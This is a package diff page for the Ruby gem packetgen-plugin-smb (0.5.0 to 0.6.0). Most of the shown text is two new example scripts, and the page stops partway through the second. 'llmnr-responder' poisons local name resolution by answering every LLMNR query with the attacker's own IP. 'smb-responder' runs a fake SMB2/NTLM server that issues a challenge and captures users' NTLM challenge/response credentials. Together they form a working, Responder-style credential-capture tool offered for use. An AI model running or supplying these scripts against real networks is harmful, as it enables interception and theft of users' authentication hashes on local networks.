packetgen-plugin-smb 0.5.0 → 0.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
 - data/.travis.yml +3 -3
 - data/README.md +2 -1
 - data/examples/llmnr-responder +110 -0
 - data/examples/smb-responder +233 -0
 - data/lib/packetgen-plugin-smb.rb +1 -0
 - data/lib/packetgen/plugin/gssapi.rb +1 -1
 - data/lib/packetgen/plugin/ntlm.rb +211 -0
 - data/lib/packetgen/plugin/ntlm/authenticate.rb +197 -0
 - data/lib/packetgen/plugin/ntlm/av_pair.rb +117 -0
 - data/lib/packetgen/plugin/ntlm/challenge.rb +140 -0
 - data/lib/packetgen/plugin/ntlm/negotiate.rb +127 -0
 - data/lib/packetgen/plugin/ntlm/ntlmv2_response.rb +59 -0
 - data/lib/packetgen/plugin/smb/filetime.rb +6 -0
 - data/lib/packetgen/plugin/smb/negotiate/response.rb +1 -1
 - data/lib/packetgen/plugin/smb/string.rb +28 -3
 - data/lib/packetgen/plugin/smb2/negotiate/response.rb +5 -1
 - data/lib/packetgen/plugin/smb2/session_setup/request.rb +5 -1
 - data/lib/packetgen/plugin/smb2/session_setup/response.rb +5 -1
 - data/lib/packetgen/plugin/smb_version.rb +1 -1
 - data/packetgen-plugin-smb.gemspec +8 -3
 - metadata +17 -9
 
    
        checksums.yaml
    CHANGED
    
    | 
         @@ -1,7 +1,7 @@ 
     | 
|
| 
       1 
1 
     | 
    
         
             
            ---
         
     | 
| 
       2 
2 
     | 
    
         
             
            SHA256:
         
     | 
| 
       3 
     | 
    
         
            -
              metadata.gz:  
     | 
| 
       4 
     | 
    
         
            -
              data.tar.gz:  
     | 
| 
      
 3 
     | 
    
         
            +
              metadata.gz: 961af27daff2c38b17b266a4f9fd51d643e95b030cba835b3af596d18b93577e
         
     | 
| 
      
 4 
     | 
    
         
            +
              data.tar.gz: 6792ca39dc088cbc36a32116b7a45e6b27f2a4bc95752f80262829b46e53701c
         
     | 
| 
       5 
5 
     | 
    
         
             
            SHA512:
         
     | 
| 
       6 
     | 
    
         
            -
              metadata.gz:  
     | 
| 
       7 
     | 
    
         
            -
              data.tar.gz:  
     | 
| 
      
 6 
     | 
    
         
            +
              metadata.gz: b03e45a4d17799b7fada7b096d901bd18b6692fe6afd6d90a563a8f6ae5338a6b82b8f71377f9e996ff73791291eb9b115fb901e50b5f6f114197374c4d3dcd8
         
     | 
| 
      
 7 
     | 
    
         
            +
              data.tar.gz: 129ae737bfca356d136dc83e6d370a007458469add87eeddf2236827d6ff280d2ab18627b69e69a26608680bc15cf9a4bbcfba2c4ee4ef0f94f33d4ec19f2462
         
     | 
    
        data/.travis.yml
    CHANGED
    
    | 
         @@ -3,10 +3,10 @@ rvm: 
     | 
|
| 
       3 
3 
     | 
    
         
             
              - 2.3
         
     | 
| 
       4 
4 
     | 
    
         
             
              - 2.4
         
     | 
| 
       5 
5 
     | 
    
         
             
              - 2.5
         
     | 
| 
      
 6 
     | 
    
         
            +
              - 2.6
         
     | 
| 
       6 
7 
     | 
    
         | 
| 
       7 
8 
     | 
    
         
             
            install:
         
     | 
| 
       8 
9 
     | 
    
         
             
              - sudo apt-get update -qq
         
     | 
| 
       9 
10 
     | 
    
         
             
              - sudo apt-get install libpcap-dev -qq
         
     | 
| 
       10 
     | 
    
         
            -
              -  
     | 
| 
       11 
     | 
    
         
            -
             
     | 
| 
       12 
     | 
    
         
            -
              - bundle exec rake
         
     | 
| 
      
 11 
     | 
    
         
            +
              - gem install bundler --version "~>1.17.3"
         
     | 
| 
      
 12 
     | 
    
         
            +
              - bundle _1.17.3_ install --path vendor/bundle --jobs=3 --retry=3
         
     | 
    
        data/README.md
    CHANGED
    
    | 
         @@ -15,7 +15,8 @@ This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It 
     | 
|
| 
       15 
15 
     | 
    
         
             
                * SMB2 common header (support 2.x and 3.x dialects),
         
     | 
| 
       16 
16 
     | 
    
         
             
                * Negotiate command,
         
     | 
| 
       17 
17 
     | 
    
         
             
                * SessionSetup command,
         
     | 
| 
       18 
     | 
    
         
            -
            * GSSAPI, used to transport negotiation over SMB2 commands 
     | 
| 
      
 18 
     | 
    
         
            +
            * GSSAPI, used to transport negotiation over SMB2 commands,
         
     | 
| 
      
 19 
     | 
    
         
            +
            * NTLM, SMB authentication protocol.
         
     | 
| 
       19 
20 
     | 
    
         | 
| 
       20 
21 
     | 
    
         | 
| 
       21 
22 
     | 
    
         
             
            ## Installation
         
     | 
| 
         @@ -0,0 +1,110 @@ 
     | 
|
| 
      
 1 
     | 
    
         
            +
            #!/usr/bin/env ruby
         
     | 
| 
      
 2 
     | 
    
         
            +
            # This file is part of packetgen-plugin-smb.
         
     | 
| 
      
 3 
     | 
    
         
            +
            # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
         
     | 
| 
      
 4 
     | 
    
         
            +
            # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
         
     | 
| 
      
 5 
     | 
    
         
            +
            # This program is published under MIT license.
         
     | 
| 
      
 6 
     | 
    
         
            +
            #
         
     | 
| 
      
 7 
     | 
    
         
            +
            # This small example implements a LLMNR responder. It responds to all LLMNR
         
     | 
| 
      
 8 
     | 
    
         
            +
            # requests on local network, and says requested name is its IP address.
         
     | 
| 
      
 9 
     | 
    
         
            +
             
     | 
| 
      
 10 
     | 
    
         
            +
            # frozen_string_literal: true
         
     | 
| 
      
 11 
     | 
    
         
            +
             
     | 
| 
      
 12 
     | 
    
         
            +
            require 'optparse'
         
     | 
| 
      
 13 
     | 
    
         
            +
            require 'socket'
         
     | 
| 
      
 14 
     | 
    
         
            +
            require 'ipaddr'
         
     | 
| 
      
 15 
     | 
    
         
            +
             
     | 
| 
      
 16 
     | 
    
         
            +
            require 'packetgen'
         
     | 
| 
      
 17 
     | 
    
         
            +
            require 'packetgen-plugin-smb'
         
     | 
| 
      
 18 
     | 
    
         
            +
             
     | 
| 
      
 19 
     | 
    
         
            +
            BIND_ADDR = '0.0.0.0'
         
     | 
| 
      
 20 
     | 
    
         
            +
             
     | 
| 
      
 21 
     | 
    
         
            +
            class LlmnrResponder
         
     | 
| 
      
 22 
     | 
    
         
            +
              attr_reader :socket, :my_ip, :my_ip_data
         
     | 
| 
      
 23 
     | 
    
         
            +
             
     | 
| 
      
 24 
     | 
    
         
            +
              LLMNR_MCAST_ADDR = '224.0.0.252'
         
     | 
| 
      
 25 
     | 
    
         
            +
             
     | 
| 
      
 26 
     | 
    
         
            +
              def initialize
         
     | 
| 
      
 27 
     | 
    
         
            +
                @socket = UDPSocket.new
         
     | 
| 
      
 28 
     | 
    
         
            +
              end
         
     | 
| 
      
 29 
     | 
    
         
            +
             
     | 
| 
      
 30 
     | 
    
         
            +
              def start(bind_addr:, iface:)
         
     | 
| 
      
 31 
     | 
    
         
            +
                @my_ip = Interfacez.ipv4_address_of(iface)
         
     | 
| 
      
 32 
     | 
    
         
            +
                @my_ip_data = IPAddr.new(my_ip).hton
         
     | 
| 
      
 33 
     | 
    
         
            +
                configure_multicast(my_ip_data)
         
     | 
| 
      
 34 
     | 
    
         
            +
             
     | 
| 
      
 35 
     | 
    
         
            +
                socket.bind(bind_addr, PacketGen::Plugin::LLMNR::UDP_PORT)
         
     | 
| 
      
 36 
     | 
    
         
            +
             
     | 
| 
      
 37 
     | 
    
         
            +
                start_loop
         
     | 
| 
      
 38 
     | 
    
         
            +
              end
         
     | 
| 
      
 39 
     | 
    
         
            +
             
     | 
| 
      
 40 
     | 
    
         
            +
              private
         
     | 
| 
      
 41 
     | 
    
         
            +
             
     | 
| 
      
 42 
     | 
    
         
            +
              def log(str)
         
     | 
| 
      
 43 
     | 
    
         
            +
                puts "[LLMNR] #{str}"
         
     | 
| 
      
 44 
     | 
    
         
            +
              end
         
     | 
| 
      
 45 
     | 
    
         
            +
             
     | 
| 
      
 46 
     | 
    
         
            +
              def configure_multicast(local_ip_bin)
         
     | 
| 
      
 47 
     | 
    
         
            +
                mreq = IPAddr.new(LLMNR_MCAST_ADDR).hton + local_ip_bin
         
     | 
| 
      
 48 
     | 
    
         
            +
                socket.setsockopt(:IPPROTO_IP, :IP_ADD_MEMBERSHIP, mreq)
         
     | 
| 
      
 49 
     | 
    
         
            +
              end
         
     | 
| 
      
 50 
     | 
    
         
            +
             
     | 
| 
      
 51 
     | 
    
         
            +
              def start_loop
         
     | 
| 
      
 52 
     | 
    
         
            +
                loop do
         
     | 
| 
      
 53 
     | 
    
         
            +
                  data, peer = socket.recvfrom(1024)
         
     | 
| 
      
 54 
     | 
    
         
            +
                  pkt = PacketGen.parse(data, first_header: 'LLMNR')
         
     | 
| 
      
 55 
     | 
    
         
            +
                  next unless pkt.is?('LLMNR')
         
     | 
| 
      
 56 
     | 
    
         
            +
             
     | 
| 
      
 57 
     | 
    
         
            +
                  peer_port = peer[1]
         
     | 
| 
      
 58 
     | 
    
         
            +
                  peer_ip = peer[3]
         
     | 
| 
      
 59 
     | 
    
         
            +
                  log "received LLMNR request from #{peer_ip}"
         
     | 
| 
      
 60 
     | 
    
         
            +
             
     | 
| 
      
 61 
     | 
    
         
            +
                  # Forge LLMNR response
         
     | 
| 
      
 62 
     | 
    
         
            +
                  response_pkt = pkt.reply
         
     | 
| 
      
 63 
     | 
    
         
            +
                  response_pkt.llmnr.qr = true
         
     | 
| 
      
 64 
     | 
    
         
            +
                  response_pkt.llmnr.qd.each do |question|
         
     | 
| 
      
 65 
     | 
    
         
            +
                    next unless (question.human_rrclass == 'IN') && (question.human_type == 'A')
         
     | 
| 
      
 66 
     | 
    
         
            +
             
     | 
| 
      
 67 
     | 
    
         
            +
                    log "Say to #{peer_ip} #{question.name} is #{my_ip}"
         
     | 
| 
      
 68 
     | 
    
         
            +
                    answer = { rtype: 'RR', name: question.name, rdata: my_ip_data }
         
     | 
| 
      
 69 
     | 
    
         
            +
                    response_pkt.llmnr.an << answer
         
     | 
| 
      
 70 
     | 
    
         
            +
                  end
         
     | 
| 
      
 71 
     | 
    
         
            +
                  response_pkt.calc
         
     | 
| 
      
 72 
     | 
    
         
            +
             
     | 
| 
      
 73 
     | 
    
         
            +
                  next unless response_pkt.llmnr.ancount > 0
         
     | 
| 
      
 74 
     | 
    
         
            +
             
     | 
| 
      
 75 
     | 
    
         
            +
                  socket.send(response_pkt.to_s, 0, peer_ip, peer_port)
         
     | 
| 
      
 76 
     | 
    
         
            +
                end
         
     | 
| 
      
 77 
     | 
    
         
            +
              end
         
     | 
| 
      
 78 
     | 
    
         
            +
            end
         
     | 
| 
      
 79 
     | 
    
         
            +
             
     | 
| 
      
 80 
     | 
    
         
            +
            def parse_options
         
     | 
| 
      
 81 
     | 
    
         
            +
              options = {}
         
     | 
| 
      
 82 
     | 
    
         
            +
             
     | 
| 
      
 83 
     | 
    
         
            +
              OptionParser.new do |opts|
         
     | 
| 
      
 84 
     | 
    
         
            +
                opts.banner = "Usage: #{$PROGRAM_NAME} [options]"
         
     | 
| 
      
 85 
     | 
    
         
            +
                opts.separator ''
         
     | 
| 
      
 86 
     | 
    
         
            +
                opts.separator 'Options:'
         
     | 
| 
      
 87 
     | 
    
         
            +
             
     | 
| 
      
 88 
     | 
    
         
            +
                opts.on_tail('-h', '--help', 'Show this message') do
         
     | 
| 
      
 89 
     | 
    
         
            +
                  puts opts
         
     | 
| 
      
 90 
     | 
    
         
            +
                  exit
         
     | 
| 
      
 91 
     | 
    
         
            +
                end
         
     | 
| 
      
 92 
     | 
    
         
            +
             
     | 
| 
      
 93 
     | 
    
         
            +
                opts.on('-i IFACE', '--interface IFACE', 'interface on which responds') do |iface|
         
     | 
| 
      
 94 
     | 
    
         
            +
                  options[:iface] = iface
         
     | 
| 
      
 95 
     | 
    
         
            +
                end
         
     | 
| 
      
 96 
     | 
    
         
            +
              end.parse!
         
     | 
| 
      
 97 
     | 
    
         
            +
             
     | 
| 
      
 98 
     | 
    
         
            +
              options
         
     | 
| 
      
 99 
     | 
    
         
            +
            end
         
     | 
| 
      
 100 
     | 
    
         
            +
             
     | 
| 
      
 101 
     | 
    
         
            +
            def check_options(options)
         
     | 
| 
      
 102 
     | 
    
         
            +
              raise 'No interface given' if options[:iface].nil?
         
     | 
| 
      
 103 
     | 
    
         
            +
              raise "unknown interface #{options[:iface]}" unless Interfacez.all.include? options[:iface]
         
     | 
| 
      
 104 
     | 
    
         
            +
            end
         
     | 
| 
      
 105 
     | 
    
         
            +
             
     | 
| 
      
 106 
     | 
    
         
            +
            options = parse_options
         
     | 
| 
      
 107 
     | 
    
         
            +
             
     | 
| 
      
 108 
     | 
    
         
            +
            check_options options
         
     | 
| 
      
 109 
     | 
    
         
            +
             
     | 
| 
      
 110 
     | 
    
         
            +
            LlmnrResponder.new.start(bind_addr: BIND_ADDR, iface: options[:iface])
         
     | 
| 
         @@ -0,0 +1,233 @@ 
     | 
|
| 
      
 1 
     | 
    
         
            +
            #!/usr/bin/env ruby
         
     | 
| 
      
 2 
     | 
    
         
            +
            # This file is part of packetgen-plugin-smb.
         
     | 
| 
      
 3 
     | 
    
         
            +
            # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
         
     | 
| 
      
 4 
     | 
    
         
            +
            # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
         
     | 
| 
      
 5 
     | 
    
         
            +
            # This program is published under MIT license.
         
     | 
| 
      
 6 
     | 
    
         
            +
            #
         
     | 
| 
      
 7 
     | 
    
         
            +
            # This small example implements a SMB responder. It responds to all SMB
         
     | 
| 
      
 8 
     | 
    
         
            +
            # Negotiate request to capture credentials.
         
     | 
| 
      
 9 
     | 
    
         
            +
            # Before running it (as root), llmnr-responder should be running.
         
     | 
| 
      
 10 
     | 
    
         
            +
             
     | 
| 
      
 11 
     | 
    
         
            +
            # frozen_string_literal: true
         
     | 
| 
      
 12 
     | 
    
         
            +
             
     | 
| 
      
 13 
     | 
    
         
            +
            require 'socket'
         
     | 
| 
      
 14 
     | 
    
         
            +
            require 'securerandom'
         
     | 
| 
      
 15 
     | 
    
         
            +
            require 'ostruct'
         
     | 
| 
      
 16 
     | 
    
         
            +
             
     | 
| 
      
 17 
     | 
    
         
            +
            require 'packetgen'
         
     | 
| 
      
 18 
     | 
    
         
            +
            require 'packetgen-plugin-smb'
         
     | 
| 
      
 19 
     | 
    
         
            +
             
     | 
| 
      
 20 
     | 
    
         
            +
            BIND_ADDR = '0.0.0.0'
         
     | 
| 
      
 21 
     | 
    
         
            +
             
     | 
| 
      
 22 
     | 
    
         
            +
            DOMAIN_NAME = 'SMB3'
         
     | 
| 
      
 23 
     | 
    
         
            +
            COMPUTER_NAME = 'WIN-AZE546CFHTD'
         
     | 
| 
      
 24 
     | 
    
         
            +
             
     | 
| 
      
 25 
     | 
    
         
            +
            Thread.abort_on_exception = true
         
     | 
| 
      
 26 
     | 
    
         
            +
             
     | 
| 
      
 27 
     | 
    
         
            +
            Credentials = Struct.new(:user, :computer, :challenge, :proof, :response, :ip) do
         
     | 
| 
      
 28 
     | 
    
         
            +
              def to_s
         
     | 
| 
      
 29 
     | 
    
         
            +
                user = self.user.encode('UTF-8')
         
     | 
| 
      
 30 
     | 
    
         
            +
                computer = self.computer.encode('UTF-8')
         
     | 
| 
      
 31 
     | 
    
         
            +
                str = +"User: #{user}\nComputer:#{computer} (IP: #{ip})\n"
         
     | 
| 
      
 32 
     | 
    
         
            +
                str << "Challenge: #{challenge}\nProof: #{proof}\n"
         
     | 
| 
      
 33 
     | 
    
         
            +
                str << "Response: #{response}"
         
     | 
| 
      
 34 
     | 
    
         
            +
              end
         
     | 
| 
      
 35 
     | 
    
         
            +
            end
         
     | 
| 
      
 36 
     | 
    
         
            +
             
     | 
| 
      
 37 
     | 
    
         
            +
            class Smb2Responder
         
     | 
| 
      
 38 
     | 
    
         
            +
              attr_reader :socket, :guid, :salt
         
     | 
| 
      
 39 
     | 
    
         
            +
             
     | 
| 
      
 40 
     | 
    
         
            +
              NTLMSSP_OID = '1.3.6.1.4.1.311.2.2.10'
         
     | 
| 
      
 41 
     | 
    
         
            +
              STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016
         
     | 
| 
      
 42 
     | 
    
         
            +
              STATUS_ACCESS_DENIED = 0xc0000022
         
     | 
| 
      
 43 
     | 
    
         
            +
             
     | 
| 
      
 44 
     | 
    
         
            +
              SMB2_SIZE = 8_388_608
         
     | 
| 
      
 45 
     | 
    
         
            +
              SMB2_NEGO_RESP_BUFFER = "`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xA0\x82\x0100\x82\x01,\xA0\x1A0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1E\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xA2\x82\x01\f\x04\x82\x01\bNEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\x7F\x15\x93\x15k\xE5\x88\n\x9A\\\x9A\xD6\x9EK`\x81\a\xEF\xF7f\xF6\x80\xAA\x17\xE0\xC2\xC5\xE5\xDB\x05\\\v\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\bNEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\b@\x00\x00\x00X\x00\x00\x000V\xA0T0R0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key"
         
     | 
| 
      
 46 
     | 
    
         
            +
              SMB2_SALT_LEN = 32
         
     | 
| 
      
 47 
     | 
    
         
            +
             
     | 
| 
      
 48 
     | 
    
         
            +
              def initialize
         
     | 
| 
      
 49 
     | 
    
         
            +
                @guid = SecureRandom.uuid
         
     | 
| 
      
 50 
     | 
    
         
            +
                @salt = SecureRandom.random_bytes(SMB2_SALT_LEN)
         
     | 
| 
      
 51 
     | 
    
         
            +
              end
         
     | 
| 
      
 52 
     | 
    
         
            +
             
     | 
| 
      
 53 
     | 
    
         
            +
              def start(bind_addr:)
         
     | 
| 
      
 54 
     | 
    
         
            +
                @socket = TCPServer.new(bind_addr, PacketGen::Plugin::NetBIOS::Session::TCP_PORT2)
         
     | 
| 
      
 55 
     | 
    
         
            +
             
     | 
| 
      
 56 
     | 
    
         
            +
                start_loop
         
     | 
| 
      
 57 
     | 
    
         
            +
              end
         
     | 
| 
      
 58 
     | 
    
         
            +
             
     | 
| 
      
 59 
     | 
    
         
            +
              private
         
     | 
| 
      
 60 
     | 
    
         
            +
             
     | 
| 
      
 61 
     | 
    
         
            +
              def log(str)
         
     | 
| 
      
 62 
     | 
    
         
            +
                puts "[SMB2] #{str}"
         
     | 
| 
      
 63 
     | 
    
         
            +
              end
         
     | 
| 
      
 64 
     | 
    
         
            +
             
     | 
| 
      
 65 
     | 
    
         
            +
              def get_smb_data(sock)
         
     | 
| 
      
 66 
     | 
    
         
            +
                PacketGen.parse(sock.recv(1024), first_header: 'NetBIOS::Session')
         
     | 
| 
      
 67 
     | 
    
         
            +
              end
         
     | 
| 
      
 68 
     | 
    
         
            +
             
     | 
| 
      
 69 
     | 
    
         
            +
              def smb2_nego_resp1
         
     | 
| 
      
 70 
     | 
    
         
            +
                return @resp1_pkt if defined? @resp1_pkt
         
     | 
| 
      
 71 
     | 
    
         
            +
             
     | 
| 
      
 72 
     | 
    
         
            +
                @resp1_pkt = PacketGen.gen('NetBIOS::Session')
         
     | 
| 
      
 73 
     | 
    
         
            +
                                      .add('SMB2', credit: 1)
         
     | 
| 
      
 74 
     | 
    
         
            +
                                      .add('SMB2::Negotiate::Response',
         
     | 
| 
      
 75 
     | 
    
         
            +
                                           dialect: 0x2ff,
         
     | 
| 
      
 76 
     | 
    
         
            +
                                           server_guid: guid, capabilities: 7,
         
     | 
| 
      
 77 
     | 
    
         
            +
                                           max_trans_size: SMB2_SIZE,
         
     | 
| 
      
 78 
     | 
    
         
            +
                                           max_read_size: SMB2_SIZE,
         
     | 
| 
      
 79 
     | 
    
         
            +
                                           max_write_size: SMB2_SIZE)
         
     | 
| 
      
 80 
     | 
    
         
            +
                @resp1_pkt.smb2_negotiate_response[:buffer] = PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER)
         
     | 
| 
      
 81 
     | 
    
         
            +
                @resp1_pkt.calc
         
     | 
| 
      
 82 
     | 
    
         
            +
                @resp1_pkt
         
     | 
| 
      
 83 
     | 
    
         
            +
              end
         
     | 
| 
      
 84 
     | 
    
         
            +
             
     | 
| 
      
 85 
     | 
    
         
            +
              def first_nego_response
         
     | 
| 
      
 86 
     | 
    
         
            +
                pkt = smb2_nego_resp1
         
     | 
| 
      
 87 
     | 
    
         
            +
                pkt.smb2_negotiate_response[:system_time] = PacketGen::Plugin::SMB::Filetime.now
         
     | 
| 
      
 88 
     | 
    
         
            +
                pkt
         
     | 
| 
      
 89 
     | 
    
         
            +
              end
         
     | 
| 
      
 90 
     | 
    
         
            +
             
     | 
| 
      
 91 
     | 
    
         
            +
              def second_nego_response(req_pkt)
         
     | 
| 
      
 92 
     | 
    
         
            +
                smb2_req = req_pkt.smb2
         
     | 
| 
      
 93 
     | 
    
         
            +
                nego_req = req_pkt.smb2_negotiate_request
         
     | 
| 
      
 94 
     | 
    
         
            +
             
     | 
| 
      
 95 
     | 
    
         
            +
                pkt = PacketGen.gen('NetBIOS::Session')
         
     | 
| 
      
 96 
     | 
    
         
            +
                               .add('SMB2',
         
     | 
| 
      
 97 
     | 
    
         
            +
                                    credit: 1,
         
     | 
| 
      
 98 
     | 
    
         
            +
                                    message_id: smb2_req.message_id,
         
     | 
| 
      
 99 
     | 
    
         
            +
                                    reserved: smb2_req.reserved)
         
     | 
| 
      
 100 
     | 
    
         
            +
                               .add('SMB2::Negotiate::Response',
         
     | 
| 
      
 101 
     | 
    
         
            +
                                    dialect: nego_req.dialects.last,
         
     | 
| 
      
 102 
     | 
    
         
            +
                                    server_guid: guid,
         
     | 
| 
      
 103 
     | 
    
         
            +
                                    capabilities: 0x2f,
         
     | 
| 
      
 104 
     | 
    
         
            +
                                    max_trans_size: SMB2_SIZE,
         
     | 
| 
      
 105 
     | 
    
         
            +
                                    max_read_size: SMB2_SIZE,
         
     | 
| 
      
 106 
     | 
    
         
            +
                                    max_write_size: SMB2_SIZE,
         
     | 
| 
      
 107 
     | 
    
         
            +
                                    system_time: PacketGen::Plugin::SMB::Filetime.now,
         
     | 
| 
      
 108 
     | 
    
         
            +
                                    buffer: PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER))
         
     | 
| 
      
 109 
     | 
    
         
            +
             
     | 
| 
      
 110 
     | 
    
         
            +
                pkt.smb2_negotiate_response.context_list << { type: 1, salt_length: SMB2_SALT_LEN, salt: salt }
         
     | 
| 
      
 111 
     | 
    
         
            +
                pkt.smb2_negotiate_response.context_list.last.hash_alg << PacketGen::Types::Int16le.new(1)
         
     | 
| 
      
 112 
     | 
    
         
            +
             
     | 
| 
      
 113 
     | 
    
         
            +
                pkt.smb2_negotiate_response.context_list << { type: 2 }
         
     | 
| 
      
 114 
     | 
    
         
            +
                pkt.smb2_negotiate_response.context_list.last.ciphers << PacketGen::Types::Int16le.new(1)
         
     | 
| 
      
 115 
     | 
    
         
            +
                pkt.calc
         
     | 
| 
      
 116 
     | 
    
         
            +
                pkt
         
     | 
| 
      
 117 
     | 
    
         
            +
              end
         
     | 
| 
      
 118 
     | 
    
         
            +
             
     | 
| 
      
 119 
     | 
    
         
            +
              def first_session_setup_response(req_pkt)
         
     | 
| 
      
 120 
     | 
    
         
            +
                smb2_req = req_pkt.smb2
         
     | 
| 
      
 121 
     | 
    
         
            +
                setup_req = req_pkt.smb2_sessionsetup_request
         
     | 
| 
      
 122 
     | 
    
         
            +
                ntlm_nego = PacketGen::Plugin::NTLM.read(setup_req.buffer[:token_init][:mech_token].value)
         
     | 
| 
      
 123 
     | 
    
         
            +
             
     | 
| 
      
 124 
     | 
    
         
            +
                pkt = PacketGen.gen('NetBIOS::Session')
         
     | 
| 
      
 125 
     | 
    
         
            +
                               .add('SMB2',
         
     | 
| 
      
 126 
     | 
    
         
            +
                                    credit_charge: 1,
         
     | 
| 
      
 127 
     | 
    
         
            +
                                    credit: 1,
         
     | 
| 
      
 128 
     | 
    
         
            +
                                    status: STATUS_MORE_PROCESSING_REQUIRED,
         
     | 
| 
      
 129 
     | 
    
         
            +
                                    message_id: smb2_req.message_id,
         
     | 
| 
      
 130 
     | 
    
         
            +
                                    reserved: smb2_req.reserved)
         
     | 
| 
      
 131 
     | 
    
         
            +
                               .add('SMB2::SessionSetup::Response')
         
     | 
| 
      
 132 
     | 
    
         
            +
             
     | 
| 
      
 133 
     | 
    
         
            +
                ntlm = PacketGen::Plugin::NTLM::Challenge.new
         
     | 
| 
      
 134 
     | 
    
         
            +
                ntlm.flags = ntlm_nego.flags | 0x00810000
         
     | 
| 
      
 135 
     | 
    
         
            +
                ntlm.flags &= 0xfdffff15
         
     | 
| 
      
 136 
     | 
    
         
            +
                ntlm.challenge = [rand(2**64)].pack('q<')
         
     | 
| 
      
 137 
     | 
    
         
            +
                ntlm.target_name.read('SMB3')
         
     | 
| 
      
 138 
     | 
    
         
            +
                ntlm.target_info << { type: 'DomainName', value: DOMAIN_NAME }
         
     | 
| 
      
 139 
     | 
    
         
            +
                ntlm.target_info << { type: 'ComputerName', value: COMPUTER_NAME }
         
     | 
| 
      
 140 
     | 
    
         
            +
                ntlm.target_info << { type: 'DnsDomainName', value: "#{DOMAIN_NAME}.local" }
         
     | 
| 
      
 141 
     | 
    
         
            +
                ntlm.target_info << { type: 'DnsComputerName', value: "#{COMPUTER_NAME}.local" }
         
     | 
| 
      
 142 
     | 
    
         
            +
                ntlm.target_info << { type: 'DnsTreeName', value: "#{DOMAIN_NAME}.local" }
         
     | 
| 
      
 143 
     | 
    
         
            +
                ntlm.target_info << { type: 'Timestamp', value: PacketGen::Plugin::SMB::Filetime.now.to_human }
         
     | 
| 
      
 144 
     | 
    
         
            +
                ntlm.target_info << { type: 'EOL' }
         
     | 
| 
      
 145 
     | 
    
         
            +
                ntlm.calc_length
         
     | 
| 
      
 146 
     | 
    
         
            +
             
     | 
| 
      
 147 
     | 
    
         
            +
                gssapi = pkt.smb2_sessionsetup_response.buffer
         
     | 
| 
      
 148 
     | 
    
         
            +
                gssapi[:token_resp][:response].value = ntlm.to_s
         
     | 
| 
      
 149 
     | 
    
         
            +
                gssapi[:token_resp][:negstate].value = 'accept-incomplete'
         
     | 
| 
      
 150 
     | 
    
         
            +
                gssapi[:token_resp][:supported_mech] = NTLMSSP_OID
         
     | 
| 
      
 151 
     | 
    
         
            +
             
     | 
| 
      
 152 
     | 
    
         
            +
                pkt.calc
         
     | 
| 
      
 153 
     | 
    
         
            +
             
     | 
| 
      
 154 
     | 
    
         
            +
                [pkt, ntlm.challenge]
         
     | 
| 
      
 155 
     | 
    
         
            +
              end
         
     | 
| 
      
 156 
     | 
    
         
            +
             
     | 
| 
      
 157 
     | 
    
         
            +
              def deny_access(req_pkt)
         
     | 
| 
      
 158 
     | 
    
         
            +
                smb2_req = req_pkt.smb2
         
     | 
| 
      
 159 
     | 
    
         
            +
                pkt = PacketGen.gen('NetBIOS::Session')
         
     | 
| 
      
 160 
     | 
    
         
            +
                               .add('SMB2',
         
     | 
| 
      
 161 
     | 
    
         
            +
                                    credit: 1,
         
     | 
| 
      
 162 
     | 
    
         
            +
                                    credit_charge: 1,
         
     | 
| 
      
 163 
     | 
    
         
            +
                                    status: STATUS_ACCESS_DENIED,
         
     | 
| 
      
 164 
     | 
    
         
            +
                                    message_id: smb2_req.message_id,
         
     | 
| 
      
 165 
     | 
    
         
            +
                                    reserved: smb2_req.reserved)
         
     | 
| 
      
 166 
     | 
    
         
            +
                               .add('SMB2::SessionSetup::Response')
         
     | 
| 
      
 167 
     | 
    
         
            +
                # Remove buffer
         
     | 
| 
      
 168 
     | 
    
         
            +
                pkt.smb2_sessionsetup_response[:buffer] = PacketGen::Types::String.new
         
     | 
| 
      
 169 
     | 
    
         
            +
                pkt.calc
         
     | 
| 
      
 170 
     | 
    
         
            +
                pkt
         
     | 
| 
      
 171 
     | 
    
         
            +
              end
         
     | 
| 
      
 172 
     | 
    
         
            +
             
     | 
| 
      
 173 
     | 
    
         
            +
              def start_loop
         
     | 
| 
      
 174 
     | 
    
         
            +
                loop do
         
     | 
| 
      
 175 
     | 
    
         
            +
                  client = socket.accept
         
     | 
| 
      
 176 
     | 
    
         
            +
                  to_close = false
         
     | 
| 
      
 177 
     | 
    
         
            +
             
     | 
| 
      
 178 
     | 
    
         
            +
                  log "connection from #{client.peeraddr[2]}"
         
     | 
| 
      
 179 
     | 
    
         
            +
             
     | 
| 
      
 180 
     | 
    
         
            +
                  credentials = Credentials.new
         
     | 
| 
      
 181 
     | 
    
         
            +
                  credentials.ip = client.peeraddr.last
         
     | 
| 
      
 182 
     | 
    
         
            +
             
     | 
| 
      
 183 
     | 
    
         
            +
                  until to_close
         
     | 
| 
      
 184 
     | 
    
         
            +
                    rcv_pkt = get_smb_data(client)
         
     | 
| 
      
 185 
     | 
    
         
            +
             
     | 
| 
      
 186 
     | 
    
         
            +
